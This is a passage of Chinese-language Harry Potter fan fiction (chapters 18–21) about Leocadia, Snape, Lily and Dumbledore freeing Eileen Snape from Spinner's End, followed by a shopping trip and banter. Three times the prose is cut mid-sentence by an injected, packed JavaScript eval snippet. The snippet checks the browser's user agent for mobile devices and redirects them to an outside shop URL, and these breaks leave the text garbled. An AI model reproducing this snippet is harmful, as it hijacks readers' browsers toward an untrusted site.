斯内普收起魔杖。 算啦算啦,看在她快学到崩溃的份上,这次就算了。 等我自创几个不容易被她挡下来的魔咒再说吧。 “……噗,莱奥,你别扭的样子跟西弗简直一模一样。” “我哪有!我很坦诚的!我才不像西弗勒斯一样是个别扭鬼!他连一句正常的谢谢都不会说!” “喂,我路过都听见你在这里大放厥词了!谁不会好好说谢谢?!” “当然是说你啊!等等,你不会是在偷听我和莉莉的闺蜜夜谈会吧?!莉莉!你看他!太过分了!” “你说谁过分?!你才过分呢!!你别抱着莉莉不撒手!!” “略略略!有本事过来把莉莉抢走啊!” “好啦!莱奥,你去写你的作业!西弗,你去煮你的魔药!我要回家了!” 18. 18 “你不是说,能困住自己的只有自己吗?” “哈,你果然偷听我和莉莉的闺蜜聊天晚会!” “……随你怎么说,我想让你帮帮我妈妈。” “……哈?” “就是……劝劝她,之类的,我知道你在学心理学。” “……行吧,就当练手,但不保证成功。” “谢谢。” 这段简短的对话就是莱奥卡蒂亚和斯内普出现在蜘蛛尾巷的原因。 哦,还要加上邓布利多。 斯内普肯定这俩人在他不知情的时候了某种协议。 比如莱奥卡蒂亚是黑魔王预备役,而邓布利多要时刻监视她这样。 莱奥卡蒂亚:“喂,我听得见,你才是黑魔王预备役。” 斯内普轻哼:“我这是在夸你实力强大。” “不会夸人就别夸,免得挨揍。” 邓布利多对他们的日常拌嘴不置一词,莱奥卡蒂亚昨天还说这老头坏心眼得很,喜欢看热闹。 斯内普的视线在邓布利多身上这件绣着金色星星的亮紫色巫师袍上转悠:“邓布利多校长,这只是我的建议,在蜘蛛尾巷也许你的装束不太合适。” 邓布利多从容地转了个圈,向他们展示自己充满童趣的巫师袍:“这个不用担心,我给自己加上了混淆咒,没有麻瓜能发现我。” 相比之下莱奥卡蒂亚穿得相当麻瓜,白衬衣牛仔裤牛仔外套——不对她本来就在麻瓜家庭长大。 莱奥卡蒂亚有点烦躁地摸出两颗邓布利多送她的炼金耳塞戴上:“我们可以速战速决吗?这里对我不太友好。” 邓布利多依旧是一手一个小朋友,还不时挥挥手让地面上的污水消失,免得莱奥卡蒂亚或者斯内普踩到。 闻言他低下头,表情有些担忧:“大脑封闭术也不起作用了吗?” 莱奥卡蒂亚气压相当低:“还是有用的,现在我的摄魂取念在看别人的眼睛时也不会不受控制的发动。但自从上次去奥利凡德先生那里之后,我能听到的东西就越来越多了。” 世界就是一个巨大的唐人街菜市场,每个能产生心理活动的生物都在抢打折的蔬菜,可以为一根小葱撕心裂肺地大吼大叫。 莱奥卡蒂亚没办法停止别人的心声,进步的速度也跟不上天赋成长的速度,她只能让自己放空大脑来无视。 邓布利多在思考一个可能性,一个他从十八岁就开始怀疑的可能性。 但他没有说出来,只是说着一些轻松的话题,让莱奥卡蒂亚把注意力放在他的话中。 斯内普加快了脚步。 比起让莱奥卡蒂亚在蜘蛛尾巷的环境中忍无可忍地暴起,把他当沙袋一样摔打,他当然是选择速战速决。 斯内普家,那栋灰暗陈旧的房子坐落在蜘蛛尾巷的巷尾,再过去的九年里像一张贪婪的嘴,不断吞噬着这个家的一切,包括情感。 斯内普在这一刻生出了一点绝望的自卑。 是啊,这里是他的家。 而他和这栋房子一样,扭曲又可笑。 但跟着他的两个人都没有对这栋房子做出评价。 邓布利多是因为体贴和见多识广,而莱奥卡蒂亚是因为真的没有想法。 她选择的朋友是西弗勒斯·斯内普本人,又不是这栋房子。 而且能跟萨卢佐比财富和底蕴的家族……啊,可能都死绝了吧。 斯内普阴沉着脸带他们走到门前,拿出钥匙准备开门。 但还没等钥匙碰到锁洞,那扇门就迫不及待的“嚯”地打开。 门后是艾琳·斯内普。 莱奥卡蒂亚看得出这个灰扑扑的女人身上和斯内普相似的地方,也看得出她的困窘、不安、胆怯,还有一丝畏惧。 她低着头,沉默地引着他们进入勉强称得上客厅的地方,用魔法给茶几上的杯子里倒入清水。 “……邓布利多校长,”被生活和男人折磨的女人颤抖着苦笑,“我没想到……我还有能再见到你的机会。” “事实上你一直都有,”邓布利多看着昔日的学生,痛心又不忍,“我希望你一直都有选择。” 艾琳避开他的目光,转向莱奥卡蒂亚:“你就是萨卢佐小姐吧?你比之前长大了一点。” 莱奥卡蒂亚微笑:“我需要感谢您的紧急处理,不然我可能坚持不到医院。” “可惜那时我没有补血剂,不然你的情况会更好一点。”艾琳有些歉疚。 “没关系,您做的已经够多了。”莱奥卡蒂亚在艾琳看不见的角度捏了捏斯内普腰上的肉。 一直在emo的斯内普被她捏得一个激灵,差点蹦起来。 艾琳像是笑了下,而后鼓起勇气,看向邓布利多:“邓布利多校长,昨天西弗勒斯只是说要请一位小朋友来家里玩,我不知道为什么……为什么您也来了?” 邓布利多从怀里拿出一个小包裹,放在桌上推给她:“你的母亲,瓦妮莎·普林斯在去世前将普林斯庄园的钥匙和金库钥匙托付给了我。她说她无法阻止你的父亲,也无法阻止你的决定,但她希望你永远是她的女儿。” 艾琳捂着脸,突然发出一声悲戚的长泣:“妈妈……我以为,我以为她再也不想见到我这个女儿……” 邓布利多沉沉地说:“实际上,她直到去世之前都在想念你。她一直爱你,艾琳,她比你认为的还要爱你。” 艾琳抱着那个小小的纸包,弓着身子颤抖,但除了那一声长泣,她再没发出过哭泣的声音。 莱奥卡蒂亚改掐为推,示意斯内普去安慰一下母亲。 斯内普僵硬地站起来,走到艾琳身边低低呼唤她:“妈妈,别难过了,你还有我。” 艾琳抱住儿子,抱住她在这世界上最后的血脉相连的亲人,终于失声痛哭起来:“对不起,对不起妈妈……对不起,西弗,是我、是我太懦弱,我……我真的爱你,我爱你,西弗,请你原谅我……” 斯内普抱紧她:“我知道的。” 我一直都知道的。 等艾琳重新平静下来时间已经过了很久。 今天英国的天气难得不错,能看见热烈的阳光从窗棂漫进来,给这个家带来一点温度。 艾琳拿出手帕擦拭着眼泪:“不好意思,我失态了。” 邓布利多表示理解,并把没有动过的水杯推给她。 “谢谢你,邓布利多校长。”艾琳喝了一口,“那么我想,你们的来意可能不止这一点。” 邓布利多十指交叉:“你还是一样敏锐。我只是来归还你的东西,真正有事找你的,当然是莱奥小姐。” 莱奥卡蒂亚从口袋里摸出一粒糖,压在舌尖下,用来冲淡她“尝到”的、艾琳心中浓厚的酸涩:“没错,事实上邓布利多校长只是告诉我他有东西需要亲自教给您,真正有事相求的人是我。” 艾琳的脸上露出些许困惑。 “您是魔药大师,应该清楚一个孩子在大量失血后,即使是年纪尚小也很难补足缺失。”莱奥卡蒂亚脱下手套,露出即使是夏日里也冰冷惨白的手,“哪怕家里寻找各种方法,现代科学也好地区偏方也好,我都吃了不少,但始终收效甚微。” 艾琳隐约猜出了她的意思:“你是想让我帮你调理身体?” 莱奥卡蒂亚点头:“是的。” “可是、可是我很久没有真正的调配魔药,而且斯拉格霍恩教授的能力比我强,还有圣芒戈医院的治疗师们,他们或许会有更好的办法。” 艾琳下意识地推拒:“而且托比亚不喜欢我在家……” 斯内普突然高声打断她:“妈妈!莱奥是在征求你的意见!” 艾琳陡然清醒过来,尴尬而悲伤地咬住嘴唇。 莱奥卡蒂亚耸肩:“也许您的提议确实更好,斯拉格霍恩先生以后也是我的教授,或者圣芒戈,只需要一笔钱,他们能给我最好的病房和待遇。” “但我不信任他们。”莱奥卡蒂亚的紫色眼珠在阴暗的室内呈现出一种幽深的黑紫色,“您应该清楚伏地魔的势力——好吧我应该说‘you know who’——正在节节攀升,虽然他的手还没能伸到霍格沃茨,但我不相信除了邓布利多校长以外的巫师,更不信任圣芒戈。” 实际上霍格沃茨所有的老师你都可以相信。但邓布利多明智的没有说出这句话来破坏气氛。 艾琳为她毫不犹豫地说出那个名字而颤抖了一下。 “而且,您应该听过他的纯血理念。虽然我看不上这种拿血统说事的理论,但不得不承认,在一个封闭的世界里,他的理念相当有吸引力。”莱奥卡蒂亚意有所指地看向斯内普,“而西弗勒斯,他和我一样是混血。” 艾琳像被雷劈中一样,头脑前所未有的清醒:“你是说……可是邓布利多校长不会允许他进入霍格沃茨伤害学生们的!” “恕我冒犯,邓布利多校长总有顾及不到的地方。等西弗勒斯的魔药天赋在霍格沃茨展露头角,或者等他成年以后,您觉得来拉拢他的食死徒会有多少?” 邓布利多点头:“我相当赞同这一点,就我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这个她还蛮擅长的。 “在邓布利多校长带来……普林斯的东西之前,我都快忘记我在巫师界的那些年了。也许我只是一直在逃避,但我不能一直逃避下去。就当是,我为了爱,再勇敢一次吧。” 艾琳闭了闭眼睛:“我没办法对托比亚用出一忘皆空,但配制魔药太费时间了……” 莱奥卡蒂亚语气兴奋:“关于这个我可以代劳,我学过一忘皆空,但还没用过呢!” 邓布利多不赞同的眼神和艾琳脱口而出的“不可以”一样快。 莱奥卡蒂亚摊手:“那谁来?或者让西弗勒斯来?” 斯内普想表示自己早就想这么做了,但注意到艾琳痛苦的神情,他只能憋回去。 邓布利多无奈一笑:“莱奥,我认为你会有更好的办法。” 莱奥卡蒂亚给他鼓掌,说出plan B:“没错没错,毕竟给他发工资的是我,只需要一个工作调动,我就能把他发配去澳大利亚跟袋鼠自由搏击。”* # 托比亚·斯内普从一叠文件中抬起头,诧异地重复了一遍:“您是说……现在就出发?” “对,澳洲的分商场急需人手,原本来应聘的家伙突然病了去不了,老菲利普就跟我推荐了你,这也算是升职了。你不是说你没有家庭顾虑吗?”仓储部的经理表情闲适地翻着一本时尚杂志,指尖还夹着一根烟,“还是说你其实有家庭?那我就换……” “不!”托比亚急声否认,“我可以去,现在就可以去!” 他飞快在合同上签下名字。 “那行,那边会准备好工装和日用品,唔,董事长慷慨地包了飞机,这里是五十英镑的转岗补偿金,”经理从抽屉里拿出一个信封,“随便去吃点东西,买身好点的西装,随便你怎么花。” 他点了烟,深深地吸了一口:“一旦拿了,就必须在……我看看,哦,半个小时后在大门口,准时坐上去机场的车,不然……哈,你得罪不起支付这五十英镑的人。明白吗?” 经理的意大利口音消散在办公室的角落,托比亚看见黑暗里坐着两个穿着黑西装、戴着墨镜的彪形大汉。 托比亚咽了口唾沫,将所有情绪咽进肚子里:“……是,先生,我知道了。” 他即将奔赴新的生活,离开英国的一切。 这是好事,天大的好事。 但…… 他怔怔地离开经理办公室,将信封紧紧攥在手里。 19. 19 邓布利多充当了一个使用幻影移形的工具人角色,把莱奥卡蒂亚带回家打了个电话,然后又把她送到蜘蛛尾巷。 他对于莱奥卡蒂亚电话里的安排毫无异议。 邓布利多欣慰:菲尼亚斯说得不对,这孩子威胁人还会给钱呢。 这不比盖勒特和汤姆懂劳动法? 莱奥卡蒂亚的回应是把他赶回了霍格沃茨。 都说了不要把我和那俩比较啊! 艾琳和斯内普花了一点时间,把属于自己的东西都装进箱子里。 艾琳解释:“我只是不想他再想起我。” 而斯内普的东西本来就没多少,他现在穿的还是艾琳年轻时的旧衣服——他当然不能让托比亚知道他手上有钱,不然那个人渣什么都做得出来。 在即将走出大门时,艾琳的脚步顿了顿,像是想要回头。 莱奥卡蒂亚手疾眼快地抓住她的手臂:“艾琳夫人,也许您知道俄耳甫斯的故事。” 俄耳甫斯忘记冥王的提醒,在即将带妻子重返人间的时候回头,导致妻子消失在冥府。 做出了选择,就不要回头了。 斯内普也拉住艾琳的手臂。 艾琳深吸一口气,终于大步离开这个困了她十数年的家。 莱奥卡蒂亚出门之前就让玛利亚收拾了两间客房出来。 艾琳原本想带着斯内普直接回普林斯庄园,但莱奥卡蒂亚表示普林斯庄园现在肯定年久失修,不如在她家先住下,也方便艾琳给她调理身体。 玛利亚对于莱奥卡蒂亚的新客人要在家里常住没有意见。 艾琳相当拘谨地来到玛利亚准备好的房间,莱奥卡蒂亚打开门,向她介绍:“客房的面积不算大,都是套房,包括一间书房、一间卧室和一间盥洗室。西弗勒斯的房间就在隔壁。有任何需要都可以告诉玛利亚。” 艾琳打量了一圈,对萨卢佐家的财力又有了新的认知。 她简单地把带来的东西放下,就来到客厅。 莱奥卡蒂亚和西弗勒斯一人坐在沙发的一端,一个撸猫头鹰,一个整理笔记。 撸猫头鹰的是莱奥卡蒂亚,整理笔记的是斯内普。 见艾琳出来,莱奥卡蒂亚就请她坐下,拿出一份合同:“艾琳夫人,家里给我安排老师都有固定的薪资待遇,包括缴纳医疗保险和支付部分水电费——当然巫师可能没有这些。所以我们折合进薪水就好。” 莱奥卡蒂亚翻到其中一页:“因为你是我请回来的治疗师,所以薪资会比教师的高一些,按照现在的汇率算……一个月的固定薪水我们就算五百英镑?” 艾琳一惊:“那就是……一百金加隆?!这也太多了!” 莱奥卡蒂亚侧头思考:“因为在佛罗伦萨租房挺贵的……” “不,萨卢佐小姐,我和西弗现在都住在你家,你说的房租水电费那些,我们不给你钱已经是占你的便宜了,这笔钱我们不能拿。”艾琳的态度非常坚决。 莱奥卡蒂亚折中一下:“那这样吧,本来我是想给你报销制作魔药所用材料的花费的,现在我不报销了……但你也不能把工资全花在我身上。” 她一指斯内普:“你看他!衣服都旧成这样了!还有夫人你!你的衣服也需要换了!” 斯内普大怒,用笔记本痛击这人手臂:“都说了不要用我举例子!” 艾琳有一点难堪地低头,她当然知道西弗勒斯一直穿着自己的旧衣服,也觉得自己的着装和这个家格格不入。 她听见莱奥卡蒂亚合掌的声音:“所以这个月的薪水我提前发给你,今天我们就出去逛街吧!” 艾琳:“……啊?” 莱奥卡蒂亚狡黠一笑:“去我家的商场,所以相当于我回收了你的工资。” 斯内普冷静地合上书本,再次一拳锤在莱奥卡蒂亚的手臂上,试图绕开她回房间:“别坑我妈妈,还有,我不去。” 莱奥卡蒂亚的回答是抓住他的手臂把他摔在沙发上。 “好了,模特一号已经制服,”她反剪着斯内普的手臂,另一只手掌心朝上,平举到艾琳面前,“现在请模特二号赏脸握住我的手。” 艾琳看了一眼莱奥卡蒂亚伸过来的手,又看一眼像只大王八一样扑腾、却被稳稳压住的斯内普,终于露出一个让她脸上所有愁苦都湮灭在其中的笑。 “好呀。那就谢谢你了,萨卢、莱奥小姐。” 斯内普:“我不想逛街!快放开我!妈妈——” 但反抗和挣扎都是没用的。 面前的两个女人,一个是他的妈妈,一个是他欠了很多魔药的债主,哪个都惹不起。 斯内普眼神空洞地换上一套套衣服,把自己当成一个没有感情的试衣服机器。 莱奥卡蒂亚坐在st.fanno的沙发上感慨:“我的衣服都是手工定制的,这还是我第一次逛街呢。” 艾琳也许多年没有大肆购物了,而且试衣服的对象还是她亏欠很多的亲生儿子,隐藏许多年的购物欲一朝爆发,让她搭配衣服的行动停都停不下来。 “这套、这套,还有这套,都包起来吧。”索性她在母爱爆棚的时候还保留了一点理智,只简简单单给斯内普买了三套衣服,“这几套适合夏天和秋天穿,只可惜现在不好买冬天的衣服。” 莱奥卡蒂亚大手一挥:“那就冬天再来买。Tommy Nutter的设计师最近也上新品了,走,咱们去那边逛逛。” 然后她们一左一右地挟持着了无生趣的斯内普逛了整整一层男装店。 在Gucci的专卖店里被莱奥卡蒂亚打扮得焕然一新的艾琳对这处位于伦敦市中心、名为“西西里”的购物广场赞叹有加:“我没有什么经商头脑,但我认为购物广场这种凝聚许多品牌的商业模式是非常有潜力的。” 莱奥卡蒂亚非常赞同。 单看这个季度的流水就知道她赚翻了。 斯内普则是用惊奇的目光注视着艾琳。 橄榄绿的帝政风长裙完美贴合艾琳的曲线,肤色略深的脖颈上围着墨绿色的丝巾,耳朵上戴着一副造型简单的拉长石耳坠。只要不去细看艾琳的皮肤,就会有一种艾琳其实刚刚毕业的错觉。 艾琳注意到他的目光,局促不安地转了个圈:“我这样,是不是有点奇怪?” “不,不是,”斯内普回过神,“很适合你,妈妈,真的很好看。” 艾琳羞涩一笑:“要谢谢莱奥小姐出色的搭配能力。” 莱奥卡蒂亚撑着下巴:“还是因为艾琳夫人你原本就长得好看啦。” 艾琳的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299287|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五官带着罗马式的深邃,是很适合做模特的长相,看得出来斯内普遗传了她的轮廓。 现在艾琳也找回了几分自信,只需要稍加打扮,很难有人看得出她在两个小时前还是一名愁苦困顿的家庭主妇。 “你怎么什么都不买?”斯内普狐疑地看着莱奥卡蒂亚,“你是不是只是想看我的笑话?” 莱奥卡蒂亚露出了一个有钱人快乐的笑:“我不用买衣服。每个季度的新品会在第一时间做成册子,然后有专人送上门求着我挑选。” “——那,首饰呢?” 莱奥卡蒂亚像看傻孩子一样看着斯内普:“你是觉得萨卢佐家没有家传首饰还是没有珠宝设计师?” 谢邀,戴不完,根本戴不完。 艾琳发觉自己对儿子的教育真的很失败,于是给他紧急补课:“西弗,只要是有一定历史的家族都以佩戴代代相承的首饰为荣,这是家族底蕴的体现。” “没错,”莱奥卡蒂亚附和,“我的首饰就是从罗马帝国时代开始代代传承下来的。就像我祖母的首饰来自索菲娅大公、叶卡捷琳娜一世、伊丽莎白一世,和叶卡捷琳娜大帝一样,当然,这些以后都是我的。” 斯内普听懂了,但他不想懂。 不是很想知道你每天把几座博物馆戴的镇馆之宝在身上。 “也许你们都注意到现在已经是下午了。”他干巴巴地抗议。“而从中午到现在,我只吃了两片吐司,你们说的珠宝和首饰并不能当饭吃。” 莱奥卡蒂亚后知后觉的也有些饿了:“那你们想在外面吃还是回去吃?玛利亚今天的菜单上列了一道红酒炖牛肉,还有海鲜面包碗。” 这么一想,当然得回家吃啦。 她们移形换影到家的时候,弗雷德里克也正好回来了。 他看着坐在莱奥卡蒂亚下手的艾琳,又看看坐在艾琳对面的斯内普,再看看莱奥卡蒂亚。 “普林斯学姐?等等,我这是要失业了吗?”弗雷德里克泪汪汪,“拜托告诉我这不是真的。” “你是母亲雇的,又不是我雇的,我没事辞退你干嘛?” 莱奥卡蒂亚喝两勺海鲜汤,再撕下一圈面包碗的边缘沾着汤啃两口,又插起香喷喷的红酒牛肉嚼嚼嚼,迟到的饥饿只允许她给弗雷德里克最基础的礼貌。 弗雷德里克立刻不装了,喜滋滋地坐下吃饭。 艾琳对这位格兰芬多的学弟还有一些印象,浅笑着朝他点头:“叫我艾琳就好,斯潘塞先生,以后我们会经常见面的。” “你也可以叫我弗雷德里克。你这是要在这里常住?” “对,艾琳夫人以后就是我的专属治疗师了。”莱奥卡蒂亚擦擦嘴,“当然,她是我的雇员,所以薪水和你分开发。” 弗雷德里克脸上的笑容消失了。 “薪水?什么薪水?”他听见自己这么问,“来教你不是义务劳动吗?” 莱奥卡蒂亚:“……那你当我没说吧。” “你的意思是——” “我什么都没说过。好了,我吃饱了,诸位请自便。” “喂!不要转移话题啊!”弗雷德里克强烈抗议。 莱奥卡蒂亚优雅起身,翩然离去。 她还有作业要做呢,才没时间听成年人大吐苦水。 20. 20 “真的吗?以后艾琳夫人也在这里工作了?”莉莉高兴地握住斯内普的手晃晃,“太好了,虽然不应该这么说,但是你们能离开你爸爸真的是一件好事。” 斯内普假装不在乎地说道:“还行吧,反正我早就想走了。莱奥是个还算可以的雇主,我也放心妈妈在这里工作。” 正躺在躺椅上摇摇晃晃玩鲁班锁的莱奥卡蒂亚警觉抬头:“只是‘还算可以’?我给你一次重新发言的机会。” 斯内普换了个说法:“Princesslike(公主般的)。” 呵,英国佬的辛辣嘲讽真的让意大利淑女很火大。 莱奥卡蒂亚相当不爽地抬手一挥:“Ambra,mordilo.(安布拉,咬他。)” 在桌子上啄羽毛的雕鸮小姐听见指令,聪敏地判断出主人其实并没有生气,于是探过去敷衍地在斯内普头上啄了一下。 斯内普正在课本上写写画画,头都没抬地棒读:“Ouch.” 他这两天正在试着熬无梦酣睡剂,但可能是魔力还不稳定的原因,品质都很勉强,连艾琳都不能昧着良心说好的那种。 昨天莱奥卡蒂亚热情评价:“没关系,我可以拿来泡脚。” 斯内普回以呵呵一笑,今天开始从各种角度嘲讽“the rich”。 莱奥卡蒂亚对这种程度的毛毛雨从来都是左耳朵进右耳朵出。 她垂下手,揉揉趴在躺椅底下的榛子和橡果,余光瞥见莉莉在对着学校里的功课发愁,于是凑过去看了看,点点她的解题步骤:“这里的计算错了,8*?=6,再减掉3,最后等于3。” 莉莉听得晕头转向,重新在草稿纸上演算:“等一下,8*?……哦,确实等于6!莱奥你算得真快!” 莱奥卡蒂亚躺回去:“你这是在准备六年级的SATs考试?这不是你明年毕业之前才需要准备的吗?” 莉莉咬着笔头修改答案:“是呀是呀。只不过我的成绩虽然好,但总是会担心通过不了,所以就找了历年真题来做一做。” SATs是英国公立学校的等级考试,只有三场考试,分别是阅读、数学,还有英语语法、标点和拼写。 其难易程度在莱奥卡蒂亚眼里大概等同于筛选正常儿童和大脑发育缺陷儿童的测试。 “但你不至于通不过的啦,”莱奥卡蒂亚安抚,“这种程度的题目,哪怕是我们中最偏科的西弗勒斯,只要考前突击那么一两天都能过的。” 斯内普震惊到都不去管她挤兑他的话了:“什么?我不是不用上学了吗?为什么还要去考SATs?” 莱奥卡蒂亚装模作样地用手背挡住嘴唇:“朋友,你只是生病了在家学习,不是彻底退学。我不跟没有小学文凭的人做朋友。” 斯内普的大脑飞速思考,寻找可以回击的破绽:“不对,你不是也没上麻瓜的小学吗?” 莱奥卡蒂亚摊手:“可是我有阶段考试的成绩。,其实我申请了跳级,现在已经是一名佛罗伦萨萨卢佐私立高中的高中生了哦。” 莉莉和斯内普齐齐战术后仰,肃然起敬。 这就是家里开学校的大小姐吗? 可恶,被她装到了。 “虽然去霍格沃茨学魔法确实会打乱我的人生规划,但毕业了也才十八岁,完全来得及考大学。意大利境内的大学随便我上,所以我想冲击一下牛津、剑桥或者斯坦福。” 莱奥卡蒂亚细数自己的大学规划。 意大利最好的大学是比萨大学,跟美第奇家族有着密切的关联,四舍五入就莱奥卡蒂亚的后花园。 她的几位家教老师都是比萨大学的教授,已经没有任何新鲜感了。 莉莉有点难过地问:“莱奥,你以后不留在魔法界吗?” 斯内普也放下笔,等着她的回答。 莱奥卡蒂亚轻轻摸着安布拉的羽毛:“嗯……可能不会吧?” 世界那么大,如果她现在就决定把一生都投进一个封闭又死板的世界,祖父会哭晕在祖母怀里的。 在莉莉泫然欲泣的神情和斯内普执着的注视里,莱奥卡蒂亚默默补上下半句话:“……除非魔法界能有所革新。” 在每天都有新技术诞生的世界环境下,魔法的世界封闭到让她怀疑保密法是不是弄坏了巫师的脑子。 连老菠萝头都被她祖父和小男孩踹开了思路,怎么这群巫师还在为不知道哪个世纪的妖精叛乱扯头花?* 资本主义各国的经济危机已经初现端倪,东方的那个小岛国有异军突起的趋势,祖父正在安排萨卢佐家族的产业转型升级,大量招揽科研人才,往高新技术方向发展; 老牌资本主义国家和新兴资本主义国家的利益争夺,祖父抱以持中的态度,不接受任何拉拢; 让西方政客们忌惮的工人们建立起的红.色.政.权在国际形势课的老师们口中毁誉参半,但祖父似乎对它们赞赏有加; 苏.联制造的斯普特尼克一号人造卫星于1957年10月4日在拜科努尔航天中心发射升空,而根据萨卢佐的内部消息称,美国将在7月16日点火阿波罗11号,带着三名宇航员飞向月球…… 而巫师界故步自封到她觉得可怕。 莱奥卡蒂亚个人觉得在二十世纪玩闭关锁国这一套是行不通的,再不顺应局势魔法界吃枣药丸。 但最有话语权的邓布利多光是维系平衡就已经很辛苦了,她觉得强迫一位老人家去搞revolution似乎有点太过残忍。 难不成……难不成最后要让我上吧? 等等,所以这才是老菠萝头从小培养我的目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299288|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的吗??? 莱奥卡蒂亚猛地一巴掌拍在扶手上,心脏前所未有地鼓噪个不停,一个个过去不在意的细节都有了对应的结论,在她眼前铺开的道路被新的观念拓宽—— 展现出新的模样。 这就说得通了! 但老头可真是老谋深算!想让我打白工?!没可能的!! 除非他能让我继承他的遗产! 纽蒙迦德那块地勉勉强强可以当个订金! 莉莉被吓了一大跳,眼泪水都憋回去了:“莱奥,你不要生气,你不想留在巫师界也没关系,我会祝福你的选择。” 莱奥卡蒂亚意识到自己似乎太过兴奋了,瞬间回神摆手:“啊不是,我没生气,刚刚我只是在想一些问题。” 莉莉放下心,难掩好奇地追问:“好吧……你在想什么?我和西弗能听吗?” 斯内普竖起课本:“莉莉,她在想的事情我们最好不要听,我们没办法听懂她的奇思妙想。” 莱奥卡蒂亚才不理他,只是兴致勃勃地组织语言:“莉莉——这只是个比方——如果你从三岁的时候就准备SATs,准备得很充分,还有学长给你押题,而现在突然有人告诉你,你的水平可以参加另一份考试,考得好就能直接上高中,本科可以去哈佛,然后硕博连读,你会参加这个考试吗?” 莉莉:“如果我不去读霍格沃茨的话——世界上还有这种好事?!那我当然会参加!这和你选择的未来有关系吗?” 这个女孩还是一如既往地敏锐。 莱奥卡蒂亚灿烂地笑起来。 “是呀,那是一份很有挑战性的未来,但我觉得,我能行。” 莉莉喜欢莱奥卡蒂亚的自信。 她抱住自己最好的朋友:“虽然我没有你厉害,但我会尽我的全力帮助你的,莱奥。还有西弗,西弗也会帮你的,对不对?” 斯内普被一绿一紫两双眼睛齐齐盯着,突然有一种不妙的预感。 ……完了,我是不是被她们俩安排了? 他能跟她们绝交吗? 明显不能。 “知道了,”他大声叹气,妥协只有一次和无数次,妥协着妥协着他就习惯了,“我也会帮你的——在你为你的伟大目标猝死之前我会努力研究出不让你轻易死掉的魔药的。” 莱奥卡蒂亚分出一只手:“那就麻烦你啦。来,咱们一起抱抱。” “才不要——” “别扭的西弗勒斯飞来!” “喂!” 莉莉抓住斯内普的手臂,大笑:“莱奥干得漂亮!加十分!” “莉莉!你怎么老是帮她?!” “当然是因为我和莉莉是闺中密友啦!西弗勒斯,你就承认竹马不如天降吧~” “不知道你在说什么东西——” 21. 21 路要一步步走,饭要一口口吃。 在个头还没有吊灯开关高的9岁,莱奥卡蒂亚就算有再透彻的洞察力和再完美的未来规划,也没办法现在就去实现那些设想。 想法多多的,心机重重的,野心大大的。 时间少少的,年纪小小的,身高矮矮的。 莱奥卡蒂亚挥别回家吃晚饭的莉莉,深沉叹气。 “想太多容易长不高,”一本书从背后伸过来,“啪叽”压在她头顶,“妈妈让我们进去吃饭了。” “哼,你才长不高。”莱奥卡蒂亚高傲地拍开他的书,“我坚持锻炼、饮食结构正常,家族遗传基因优良,可以说长不高才是不正常的。” “而你,我的朋友,我亲爱的西弗勒斯——”她拖长声音,“我敢说,如果你再不注重保护你的头发,以你现在就岌岌可危的发际线来看,等我八十岁了依旧光彩照人,而你,会在英国糟糕水质的影响下变成秃头!” “看啊,一个意大利人在攻击一位可怜的英国绅士,完全忘记了她还要在英国生活很多年。”斯内普把她拉起来,“而且她还总是过度思考,我肯定她的脱发进度会在我前面。” “没关系,我会命令这位英国绅士给我熬生发魔药。”莱奥卡蒂亚觉得自己的话很有道理。 “一加隆一瓶。”斯内普故意斜着眼尾看她,“概不赊账。” 莱奥卡蒂亚挑衅地笑笑:“抱歉,我这个人别的可以没有,但不能没有钱。你做多少,我就能买多少。” “这位小姐真霸道,太霸道了。”斯内普重复,“你这是要垄断我的作品了?” 莱奥卡蒂亚顺着他的话认真思考:“……不行,这个价格作为成本的话太高了,即使是垄断全欧洲的生发魔药市场也只能压缩售价,再平摊门店费杂费……我是不会倒贴钱做生意的!所以!” “所以?” “所以你的生发魔药只能我用。”莱奥卡蒂亚摸摸自己的秀发,觉得这金灿灿的颜色才适合五英镑一瓶的价格。 斯内普没忍住,“噗嗤”笑了出来。 莱奥卡蒂亚仗着目前比斯内普高一些的身高,略微俯视着他的脸,突然觉得这人笑起来确实是挺好看的。 “那你得祈祷你的摄魂取念不会被大反派盯上,然后被夺取能力变成秃子。” 这段时间被莉莉和莱奥卡蒂亚带着看了不少漫画的斯内普带着笑意,清清嗓子,试图严肃一点:“你说是不是,萨卢佐教授?或者说S教授?” “虽然以前我觉得我和X教授的能力一样,但其实我更喜欢白皇后,她也会读心,而且跟我一样是金头发。” 莱奥卡蒂亚在自己的全名里找了一会儿X,遗憾地发现自己成为不了X教授,但她欣然接受了S教授的称呼:“好吧,那我得提前把所有反派消灭,让我的秀发能陪着我到棺材里……” 她歪头:“不过,莉莉可以是红头发的魔形女Raven,你呢?万磁王?要不我让祖父试着收购漫○给你加个角色?” 斯内普坚决拒绝:“我不想戴那么丑的头盔,也不想成为漫画里的人物。” 